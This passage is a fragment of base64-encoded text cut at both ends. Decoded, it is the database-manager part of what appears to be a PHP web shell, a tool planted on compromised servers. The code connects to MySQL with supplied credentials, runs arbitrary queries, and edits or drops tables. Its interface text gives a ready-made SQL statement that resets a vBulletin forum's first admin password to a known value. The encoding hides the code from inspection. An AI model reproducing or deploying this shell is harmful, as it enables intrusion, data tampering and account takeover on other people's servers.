EFCTEUgJHRhYmxlbmFtZSIpKSB7DQoJCQltKCdEcm9wIHRhYmxlIG9mIHN1a3NlcycpOw0KCQkJJHRhYmxlbmFtZSA9ICcnOw0KCQl9IGVsc2Ugew0KCQkJbShteXNxbF9lcnJvcigpKTsNCgkJfQ0KCX0NCg0KCSRjaGFyc2V0cyA9IGFycmF5KCcnPT4nRGVmYXVsdCcsJ2diayc9PidHQksnLCAnYmlnNSc9PidCaWc1JywgJ3V0ZjgnPT4nVVRGLTgnLCAnbGF0aW4xJz0+J0xhdGluMScpOw0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J01ZU1FMIE1hbmFnZXInKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJcCgnPHA+Jyk7DQoJcCgnREJIb3N0OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOw0KCXAoJzonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9ydCkpOw0KCXAoJ0RCVXNlcjonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJ1c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsNCglwKCdEQlBhc3M6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7DQoJcCgnREJDaGFyc2V0OicpOw0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidjb25uZWN0JywndmFsdWUnPT4nQ29ubmVjdCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290KCk7DQo/Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gZWRpdHJlY29yZChhY3Rpb24sIGJhc2U2NCwgdGFibGVuYW1lKXsNCglpZiAoYWN0aW9uID09ICdkZWwnKSB7DQoJCWlmICghY29uZmlybSgnSXMgb3IgaXNuXCd0IGRlbGV0aW9uIHJlY29yZD8nKSkgcmV0dXJuOw0KCX0NCgkkKCdyZWNvcmRsaXN0JykuZG9pbmcudmFsdWU9YWN0aW9uOw0KCSQoJ3JlY29yZGxpc3QnKS5iYXNlNjQudmFsdWU9YmFzZTY0Ow0KCSQoJ3JlY29yZGxpc3QnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOw0KCSQoJ3JlY29yZGxpc3QnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIG1vZGRibmFtZShkYm5hbWUpIHsNCglpZighZGJuYW1lKSByZXR1cm47DQoJJCgnc2V0ZGJuYW1lJykuZGJuYW1lLnZhbHVlPWRibmFtZTsNCgkkKCdzZXRkYm5hbWUnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIHNldHRhYmxlKHRhYmxlbmFtZSxkb2luZyxwYWdlKSB7DQoJaWYoIXRhYmxlbmFtZSkgcmV0dXJuOw0KCWlmIChkb2luZykgew0KCQkkKCdzZXR0YWJsZScpLmRvaW5nLnZhbHVlPWRvaW5nOw0KCX0NCglpZiAocGFnZSkgew0KCQkkKCdzZXR0YWJsZScpLnBhZ2UudmFsdWU9cGFnZTsNCgl9DQoJJCgnc2V0dGFibGUnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOw0KCSQoJ3NldHRhYmxlJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjw/cGhwDQoJLy8gU1FMDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4ncmVjb3JkbGlzdCcpKTsNCgltYWtlaGlkZSgnZG9pbmcnKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCgltYWtlaGlkZSgnYmFzZTY0Jyk7DQoJbWFrZWhpZGUoJ3RhYmxlbmFtZScpOw0KCXAoJGRiZm9ybSk7DQoJZm9ybWZvb3QoKTsNCg0KCS8vIERhdGENCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXRkYm5hbWUnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJcCgkZGJmb3JtKTsNCglpZiAoISRkYm5hbWUpIHsNCgkJbWFrZWhpZGUoJ2RibmFtZScpOw0KCX0NCglmb3JtZm9vdCgpOw0KDQoNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXR0YWJsZScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCglwKCRkYmZvcm0pOw0KCW1ha2VoaWRlKCd0YWJsZW5hbWUnKTsNCgltYWtlaGlkZSgncGFnZScsJHBhZ2UpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCWZvcm1mb290KCk7DQoNCgkkY2FjaGV0YWJsZXMgPSBhcnJheSgpOw0KCSRwYWdlbnVtID0gMzA7DQoJJHBhZ2UgPSBpbnR2YWwoJHBhZ2UpOw0KCWlmKCRwYWdlKSB7DQoJCSRzdGFydF9saW1pdCA9ICgkcGFnZSAtIDEpICogJHBhZ2VudW07DQoJfSBlbHNlIHsNCgkJJHN0YXJ0X2xpbWl0ID0gMDsNCgkJJHBhZ2UgPSAxOw0KCX0NCglpZiAoaXNzZXQoJGRiaG9zdCkgJiYgaXNzZXQoJGRidXNlcikgJiYgaXNzZXQoJGRicGFzcykgJiYgaXNzZXQoJGNvbm5lY3QpKSB7DQoJCWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7DQoJCS8vIGdldCBteXNxbCBzZXJ2ZXINCgkJJG15c3FsdmVyID0gbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCk7DQoJCXAoJzxwPk15U1FMICcuJG15c3FsdmVyLicgcnVubmluZyBpbiAnLiRkYmhvc3QuJyBhcyAnLiRkYnVzZXIuJ0AnLiRkYmhvc3QuJzwvcD4nKTsNCgkJJGhpZ2h2ZXIgPSAkbXlzcWx2ZXIgPiAnNC4xJyA/IDEgOiAwOw0KDQoJCS8vIFNob3cgZGF0YWJhc2UNCgkJJHF1ZXJ5ID0gcSgiU0hPVyBEQVRBQkFTRVMiKTsNCgkJJGRicyA9IGFycmF5KCk7DQoJCSRkYnNbXSA9ICctLSBwaWxpaCBkYXRhYmFzZSAtLSc7DQoJCXdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCgkJCSRkYnNbJGRiWydEYXRhYmFzZSddXSA9ICRkYlsnRGF0YWJhc2UnXTsNCgkJfQ0KCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9Pid0dWx1bmcgcGlsaWggZGF0YWJhc2U6JywnbmFtZSc9PidkYltdJywnb3B0aW9uJz0+JGRicywnc2VsZWN0ZWQnPT4kZGJuYW1lLCdvbmNoYW5nZSc9Pidtb2RkYm5hbWUodGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpJywnbmV3bGluZSc9PjEpKTsNCgkJJHRhYmxlZGIgPSBhcnJheSgpOw0KCQlpZiAoJGRibmFtZSkgew0KCQkJcCgnPHA+Jyk7DQoJCQlwKCdDdXJyZW50IGRhYmFiYXNlOiA8YSBocmVmPSJqYXZhc2NyaXB0Om1vZGRibmFtZShcJycuJGRibmFtZS4nXCcpOyI+Jy4kZGJuYW1lLic8L2E+Jyk7DQoJCQlpZiAoJHRhYmxlbmFtZSkgew0KCQkJCXAoJyB8IEN1cnJlbnQgVGFibGU6IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPicuJHRhYmxlbmFtZS4nPC9hPiBbIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+IF0nKTsNCgkJCX0NCgkJCXAoJzwvcD4nKTsNCgkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCg0KCQkJJGdldG51bXNxbCA9ICcnOw0KCQkJJHJ1bnF1ZXJ5ID0gMDsNCgkJCWlmICgkc3FsX3F1ZXJ5KSB7DQoJCQkJJHJ1bnF1ZXJ5ID0gMTsNCgkJCX0NCgkJCSRhbGxvd2VkaXQgPSAwOw0KCQkJaWYgKCR0YWJsZW5hbWUgJiYgISRzcWxfcXVlcnkpIHsNCgkJCQkkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7DQoJCQkJJGdldG51bXNxbCA9ICRzcWxfcXVlcnk7DQoJCQkJJHNxbF9xdWVyeSA9ICRzcWxfcXVlcnkuIiBMSU1JVCAkc3RhcnRfbGltaXQsICRwYWdlbnVtIjsNCgkJCQkkYWxsb3dlZGl0ID0gMTsNCgkJCX0NCgkJCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPicpOw0KCQkJcCgnPHA+PHRhYmxlIHdpZHRoPSIyMDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkIGNvbHNwYW49IjIiPlJ1biBTUUwgcXVlcnkvcXVlcmllcyBvbiBkYXRhYmFzZSA8Zm9udCBjb2xvcj1yZWQ+PGI+Jy4kZGJuYW1lLic8L2ZvbnQ+PC9iPjo8QlI+RXhhbXBsZSBWQkIgUGFzc3dvcmQ6IDxmb250IGNvbG9yPXJlZD52YmF0ZWFtPC9mb250PjxCUj48Zm9udCBjb2xvcj15ZWxsb3c+VVBEQVRFIGB1c2VyYCBTRVQgYHBhc3N3b3JkYCA9IFwnNjllNTNlNWFiOTUzNmU1NWQzMWZmNTMzYWVmYzRmYmVcJywgc2FsdCA9IFwncDVUXCcgV0hFUkUgYHVzZXJpZGAgPSBcJzFcJyA8L2ZvbnQ+DQoJCQk8L3RkPjwvdHI+PHRyPjx0ZD48dGV4dGFyZWEgbmFtZT0ic3FsX3F1ZXJ5IiBjbGFzcz0iYXJlYSIgc3R5bGU9IndpZHRoOjYwMHB4O2hlaWdodDo1MHB4O292ZXJmbG93OmF1dG87Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSxFTlRfUVVPVEVTKS4nPC90ZXh0YXJlYT48L3RkPjx0ZCBzdHlsZT0icGFkZGluZzowIDVweDsiPjxpbnB1dCBjbGFzcz0iYnQiIHN0eWxlPSJoZWlnaHQ6NTBweDsiIG5hbWU9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUXVlcnkiIC8+PC90ZD48L3RyPjwvdGFibGU+PC9wPicpOw0KCQkJbWFrZWhpZGUoJ3RhYmxlbmFtZScsICR0YWJsZW5hbWUpOw0KCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJCQlwKCRkYmZvcm0pOw0KCQkJcCgnPC9mb3JtPicpOw0KCQkJaWYgKCR0YWJsZW5hbWUgfHwgKCRydW5xdWVyeSAmJiAkc3FsX3F1ZXJ5KSkgew0KCQkJCWlmICgkZG9pbmcgPT0gJ3N0cnVjdHVyZScpIHsNCgkJCQkJJHJlc3VsdCA9IHEoIlNIT1cgQ09MVU1OUyBGUk9NICR0YWJsZW5hbWUiKTsNCgkJCQkJJHJvd2RiID0gYXJyYXkoKTsNCgkJCQkJd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCQkJCQkkcm93ZGJbXSA9ICRyb3c7DQoJCQkJCX0NCgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCgkJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsNCgkJCQkJcCgnPHRkPkZpZWxkPC90ZD4nKTsNCgkJCQkJcCgnPHRkPlR5cGU8L3RkPicpOw0KCQkJCQlwKCc8dGQ+TnVsbDwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5LZXk8L3RkPicpOw0KCQkJCQlwKCc8dGQ+RGVmYXVsdDwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5FeHRyYTwvdGQ+Jyk7DQoJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7DQoJCQkJCQkkdGhpc2JnID0gYmcoKTsNCgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydGaWVsZCddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snVHlwZSddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snTnVsbCddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snS2V5J10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydEZWZhdWx0J10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydFeHRyYSddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPC90cj4nKTsNCgkJCQkJfQ0KCQkJCQl0YmZvb3QoKTsNCgkJCQl9IGVsc2VpZiAoJGRvaW5nID09ICdpbnNlcnQnIHx8ICRkb2luZyA9PSAnZWRpdCcpIHsNCgkJCQkJJHJlc3VsdCA9IHEoJ1NIT1cgQ09MVU1OUyBGUk9NICcuJHRhYmxlbmFtZSk7DQoJCQkJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJCQkJCSRyb3dkYltdID0gJHJvdzsNCgkJCQkJfQ0KCQkJCQkkcnMgPSBhcnJheSgpOw0KCQkJCQlpZiAoJGRvaW5nID09ICdpbnNlcnQnKSB7DQoJCQkJCQlwKCc8aDI+SW5zZXJ0IG5ldyBsaW5lIGluICcuJHRhYmxlbmFtZS4nIHRhYmxlICZyYXF1bzs8L2gyPicpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJcCgnPGgyPlVwZGF0ZSByZWNvcmQgaW4gJy4kdGFibGVuYW1lLicgdGFibGUgJnJhcXVvOzwvaDI+Jyk7DQoJCQkJCQkkd2hlcmUgPSBiYXNlNjRfZGVjb2RlKCRiYXNlNjQpOw0KCQkJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUgTElNSVQgMSIpOw0KCQkJCQkJJHJzID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7DQoJCQkJCX0NCgkJCQkJcCgnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuJHNlbGYuJyI+Jyk7DQoJCQkJCXAoJGRiZm9ybSk7DQoJCQkJCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOw0KCQkJCQltYWtlaGlkZSgndGFibGVuYW1lJywkdGFibGVuYW1lKTsNCgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsNCgkJCQkJCWlmICgkcnNbJHJvd1snRmllbGQnXV0pIHsNCgkJCQkJCQkkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCRyc1skcm93WydGaWVsZCddXSk7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCSR2YWx1ZSA9ICcnOw0KCQkJCQkJfQ0KCQkJCQkJJHRoaXNiZyA9IGJnKCk7DQoJCQkJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOw0KCQkJCQkJcCgnPHRkPjxiPicuJHJvd1snRmllbGQnXS4nPC9iPjxiciAvPicuJHJvd1snVHlwZSddLic8L3RkPjx0ZD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIG5hbWU9Imluc2VydHNxbFsnLiRyb3dbJ0ZpZWxkJ10uJ10iIHN0eWxlPSJ3aWR0aDo1MDBweDtoZWlnaHQ6NjBweDtvdmVyZmxvdzphdXRvOyI+Jy4kdmFsdWUuJzwvdGV4dGFyZWE+PC90ZD48L3RyPicpOw0KCQkJCQl9DQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsNCgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgbmFtZT0iaW5zZXJ0IiB2YWx1ZT0iSW5zZXJ0IiAvPjwvdGQ+PC90cj4nKTsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgbmFtZT0idXBkYXRlIiB2YWx1ZT0iVXBkYXRlIiAvPjwvdGQ+PC90cj4nKTsNCgkJCQkJCW1ha2VoaWRlKCdiYXNlNjQnLCAkYmFzZTY0KTsNCgkJCQkJfQ0KCQkJCQlwKCc8L3RhYmxlPjwvZm9ybT4nKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkcXVlcnlzID0gQGV4cGxvZGUoJzsnLCRzcWxfcXVlcnkpOw0KCQkJCQlmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KSB7DQoJCQkJCQlpZiAoJHF1ZXJ5KSB7DQoJCQkJCQkJcCgiPHA+PGI+UXVlcnkjeyRudW19IDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvcD4iKTsNCgkJCQkJCQlzd2l0Y2gocXkoJHF1ZXJ5KSkNCgkJCQkJCQl7DQoJCQkJCQkJCWNhc2UgMDoNCgkJCQkJCQkJCXAoJzxoMj5FcnJvciA6ICcubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsNCgkJCQkJCQkJCWJyZWFrOw0KCQkJCQkJCQljYXNlIDE6DQoJCQkJCQkJCQlpZiAoc3RydG9sb3dlcihzdWJzdHIoJHF1ZXJ5LDAsMTMpKSA9PSAnc2VsZWN0ICogZnJvbScpIHsNCgkJCQkJCQkJCQkkYWxsb3dlZGl0ID0gMTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCWlmICgkZ2V0bnVtc3FsKSB7DQoJCQkJCQkJCQkJJHRhdG9sID0gbXlzcWxfbnVtX3Jvd3MocSgkZ2V0bnVtc3FsKSk7DQoJCQkJCQkJCQkJJG11bHRpcGFnZSA9IG11bHRpKCR0YXRvbCwgJHBhZ2VudW0sICRwYWdlLCAkdGFibGVuYW1lKTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCWlmICghJHRhYmxlbmFtZSkgew0KCQkJCQkJCQkJCSRzcWxfbGluZSA9IHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIsICJcdCIpLCBhcnJheSgnICcsICcgJywgJyAnKSwgdHJpbShodG1sc3BlY2lhbGNoYXJzKCRxdWVyeSkpKTsNCgkJCQkJCQkJCQkkc3FsX2xpbmUgPSBwcmVnX3JlcGxhY2UoIi9cL1wqW14oXCpcLyldKlwqXC8vaSIsICIgIiwgJHNxbF9saW5lKTsNCgkJCQkJCQkJCQlwcmVnX21hdGNoX2FsbCgiL2Zyb21ccytgezAsMX0oW1x3XSspYHswLDF9XHMrL2kiLCRzcWxfbGluZSwkbWF0Y2hlcyk7DQoJCQkJCQkJCQkJJHRhYmxlbmFtZSA9ICRtYXRjaGVzWzFdWzBdOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJJHJlc3VsdCA9IHEoJHF1ZXJ5KTsNCgkJCQkJCQkJCXAoJG11bHRpcGFnZSk7DQoJCQkJCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOw0KCQkJCQkJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsNCgkJCQkJCQkJCWlmICgkYWxsb3dlZGl0KSBwKCc8dGQ+QWN0aW9uPC90ZD4nKTsNCgkJCQkJCQkJCSRmaWVsZG51bSA9IEBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOw0KCQkJCQkJCQkJZm9yKCRpPTA7JGk8JGZpZWxkbnVtOyRpKyspew0KCQkJCQkJCQkJCSRuYW1lID0gQG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOw0KCQkJCQkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJGkpOw0KCQkJCQkJCQkJCSRsZW4gPSBAbXlzcWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsNCgkJCQkJCQkJCQlwKCI8dGQgbm93cmFwPiRuYW1lPGJyPjxzcGFuPiR0eXBlKCRsZW4pPC9zcGFuPjwvdGQ+Iik7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQlwKCc8L3RyPicpOw0KCQkJCQkJCQkJd2hpbGUoJG1uID0gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKXsNCgkJCQkJCQkJCQkkdGhpc2JnID0gYmcoKTsNCgkJCQkJCQkJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOw0KCQkJCQkJCQkJCSR3aGVyZSA9ICR0bXAgPSAkYjEgPSAnJzsNCgkJCQkJCQkJCQlmb3JlYWNoKCRtbiBhcyAka2V5PT4kaW5zaWRlKXsNCgkJCQkJCQkJCQkJaWYgKCRpbnNpZGUpIHsNCgkJCQkJCQkJCQkJCSR3aGVyZSAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCRpbnNpZGUpLiInIjsNCgkJCQkJCQkJCQkJCSR0bXAgPSAnIEFORCAnOw0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCSRiMSAuPSAnPHRkIG5vd3JhcD4nLmh0bWxfY2xlYW4oJGluc2lkZSkuJyZuYnNwOzwvdGQ+JzsNCgkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJJHdoZXJlID0gYmFzZTY0X2VuY29kZSgkd2hlcmUpOw0KCQkJCQkJCQkJCWlmICgkYWxsb3dlZGl0KSBwKCc8dGQgbm93cmFwPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2VkaXRcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5FZGl0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2RlbFwnLCBcJycuJHdoZXJlLidcJywgXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPkRlbDwvYT48L3RkPicpOw0KCQkJCQkJCQkJCXAoJGIxKTsNCgkJCQkJCQkJCQlwKCc8L3RyPicpOw0KCQkJCQkJCQkJCXVuc2V0KCRiMSk7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQl0YmZvb3QoKTsNCgkJCQkJCQkJCXAoJG11bHRpcGFnZSk7DQoJCQkJCQkJCQlicmVhazsNCgkJCQkJCQkJY2FzZSAyOg0KCQkJCQkJCQkJJGFyID0gbXlzcWxfYWZmZWN0ZWRfcm93cygpOw0KCQkJCQkJCQkJcCgnPGgyPmFmZmVjdGVkIHJvd3MgOiA8Yj4nLiRhci4nPC9iPjwvaDI+Jyk7DQoJCQkJCQkJCQlicmVhazsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9IGVsc2Ugew0KCQkJCSRxdWVyeSA9IHEoIlNIT1cgVEFCTEUgU1RBVFVTIik7DQoJCQkJJHRhYmxlX251bSA9ICR0YWJsZV9yb3dzID0gJGRhdGFfc2l6ZSA9IDA7DQoJCQkJJHRhYmxlZGIgPSBhcnJheSgpOw0KCQkJCXdoaWxlKCR0YWJsZSA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCgkJCQkJJGRhdGFfc2l6ZSA9ICRkYXRhX3NpemUgKyAkdGFibGVbJ0RhdGFfbGVuZ3RoJ107DQoJCQkJCSR0YWJsZV9yb3dzID0gJHRhYmxlX3Jvd3MgKyAkdGFibGVbJ1Jvd3MnXTsNCgkJCQkJJHRhYmxlWydEYXRhX2xlbmd0aCddID0gc2l6ZWNvdW50KCR0YWJsZVsnRGF0YV9sZW5ndGgnXSk7DQoJCQkJCSR0YWJsZV9udW0rKzsNCgkJCQkJJHRhYmxlZGJbXSA9ICR0YWJsZTsNCgkJCQl9DQoJCQkJJGRhdGFfc2l6ZSA9IHNpemVjb3VudCgkZGF0YV9zaXplKTsNCgkJCQl1bnNldCgkdGFibGUpOw0KCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoJCQkJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCI+Jyk7DQoJCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJCQkJcCgkZGJmb3JtKTsNCgkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KCQkJCXAoJzx0ZCB3aWR0aD0iMiUiIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD4nKTsNCgkJCQlwKCc8dGQ+TmFtZTwvdGQ+Jyk7DQoJCQkJcCgnPHRkPlJvd3M8L3RkPicpOw0KCQkJCXAoJzx0ZD5EYXRhX2xlbmd0aDwvdGQ+Jyk7DQoJCQkJcCgnPHRkPkNyZWF0ZV90aW1lPC90ZD4nKTsNCgkJCQlwKCc8dGQ+VXBkYXRlX3RpbWU8L3RkPicpOw0KCQkJCWlmICgkaGlnaHZlcikgew0KCQkJCQlwKCc8dGQ+RW5naW5lPC90ZD4nKTsNCgkJCQkJcCgnPHRkPkNvbGxhdGlvbjwvdGQ+Jyk7DQoJCQkJfQ0KCQkJCXAoJzwvdHI+Jyk7DQoJCQkJZm9yZWFjaCAoJHRhYmxlZGIgYXMgJGtleSA9PiAkdGFibGUpIHsNCgkJCQkJJHRoaXNiZyA9IGJnKCk7DQoJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7DQoJCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMiUiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idGFibGVbXSIgdmFsdWU9IicuJHRhYmxlWydOYW1lJ10uJyIgLz48L3RkPicpOw0KCQkJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnKTsiPicuJHRhYmxlWydOYW1lJ10uJzwvYT4gWyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2Ryb3BcJyk7Ij